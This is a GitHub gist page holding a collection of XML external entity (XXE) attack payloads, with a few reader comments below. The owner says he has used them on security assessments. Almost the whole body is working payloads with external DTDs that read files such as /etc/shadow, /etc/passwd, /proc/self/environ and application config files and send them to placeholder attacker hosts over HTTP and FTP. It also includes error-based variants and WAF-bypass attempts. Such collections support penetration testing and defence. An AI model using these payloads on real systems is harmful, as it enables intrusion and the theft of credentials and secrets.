

Instantly share code, notes, and snippets.

Create a gist now



staaldraad / **XXE_payloads**

Last active 10 days ago

★ Star

245

🍴 Fork

101

<> Code

🔗 Revisions 10

★ Stars 245

🍴 Forks 101

Embed ▾

<script src="https://gi:



Download ZIP

XXE Payloads

XXE_payloads

Raw

```

1 -----
2 Vanilla, used to verify outbound xxe or blind xxe
3 -----
4
5 <?xml version="1.0" ?>
6 <!DOCTYPE r [
7 <!ELEMENT r ANY >
8 <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
9 ]>
10 <r>&sp;</r>
11
12 -----
13 OoB extraction
14 -----
15
16 <?xml version="1.0" ?>

```

```

17 <!DOCTYPE r [
18 <!ELEMENT r ANY >
19 <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
20 %sp;
21 %param1;
22 ]>
23 <r>&exfil;</r>
24
25 ## External dtd: ##
26
27 <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
28 <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
29
30 -----
31 OoB variation of above (seems to work better against .NET)
32 -----
33 <?xml version="1.0" ?>
34 <!DOCTYPE r [
35 <!ELEMENT r ANY >
36 <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
37 %sp;
38 %param1;
39 %exfil;
40 ]>
41
42 ## External dtd: ##
43
44 <!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
45 <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
46
47 -----
48 OoB extraction
49 -----

```

```
50
51 <?xml version="1.0"?>
52 <!DOCTYPE r [
53 <!ENTITY % data3 SYSTEM "file:///etc/shadow">
54 <!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
55 %sp;
56 %param3;
57 %exfil;
58 ]>
59
60 ## External dtd: ##
61 <!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
62
63 -----
64 OoB extra ERROR -- Java
65 -----
66 <?xml version="1.0"?>
67 <!DOCTYPE r [
68 <!ENTITY % data3 SYSTEM "file:///etc/passwd">
69 <!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
70 %sp;
71 %param3;
72 %exfil;
73 ]>
74 <r></r>
75 ## External dtd: ##
76
77 <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
78
79
80 -----
81 OoB extra nice
82 -----
```

```

83
84 <?xml version="1.0" encoding="utf-8"?>
85 <!DOCTYPE root [
86   <!ENTITY % start "<![CDATA[">
87   <!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
88   <!ENTITY % end "]]>">
89   <!ENTITY % dtd SYSTEM "http://evil/evil.xml">
90   %dtd;
91 ]>
92 <root>&all;</root>
93
94 ## External dtd: ##
95
96 <!ENTITY all "%start;%stuff;%end;">
97
98 -----
99 File-not-found exception based extraction
100 -----
101
102 <?xml version="1.0" encoding="UTF-8"?>
103 <!DOCTYPE test [
104   <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
105   %one;
106   %two;
107   %four;
108 ]>
109
110 ## External dtd: ##
111
112 <!ENTITY % three SYSTEM "file:///etc/passwd">
113 <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%%three;'>">
114
115 -----^ you might need to encode this % (depends on your target) as: &#x25;

```

```
116
117 -----
118 FTP
119 -----
120 <?xml version="1.0" ?>
121 <!DOCTYPE a [
122 <!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
123 %asd;
124 %c;
125 ]>
126 <a>&rrr;</a>
127
128
129 ## External dtd ##
130 <!ENTITY % d SYSTEM "file:///proc/self/environ">
131 <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
132
133 -----
134 Inside SOAP body
135 -----
136 <soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
137
138
139 -----
140 Untested - WAF Bypass
141 -----
142 <!DOCTYPE :. SYTEM "http://"
143 <!DOCTYPE :_:_: SYTEM "http://"
144 <!DOCTYPE {0xdfbf} SYSTEM "http://"
```



MERCY-VIYOLA commented on Apr 10, 2017

Thanks for these attack vectors, they are really helpful. ##

@staaldraad am just a newbie in this stuff so please, i need some clarification. I suppose that OOB extra ERROR --Java is meant to produce an error so as to get to know the inner working of the application and the File-not-found exception based extraction code is doing the same. Please help correct me or with a better explanation for those codes. Have you discovered some new XXE attack vectors which are totally different from what is here --> <http://web-in-security.blogspot.it/2016/03/xxe-cheat-sheet.html> .



staaldraad commented on May 18, 2017

Owner

Hi, sorry for the delay. Turns out I don't get notifications on gist comments, or I missed it somehow.

These are largely a collection of different payloads I've used on assessments. Some I found for myself, while others I've picked up from blog-posts. I'm sure there is a big overlap with the link you posted, and there are some awesome payloads in there that I haven't tried, thanks!

With the OOB error based, I copied that from the work done by NetSPI : <https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/>
They explain the mechanics really well 👍



MERCY-VIYOLA commented on Jul 1, 2017

Alright. Thanks.



utkarsh123456 commented on Aug 7, 2017 • edited ▼

Thanks, but any payloads/methods for the XSS if html encoding is implement?



galaris commented on Aug 10, 2017

pull request to [seclist](#) pls? :)

Sign up for free

to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

© 2018 GitHub, Inc. [Terms](#) [Privacy](#) [Security](#) [Status](#) [Help](#)



[Contact GitHub](#) [API](#) [Training](#) [Shop](#) [Blog](#) [About](#)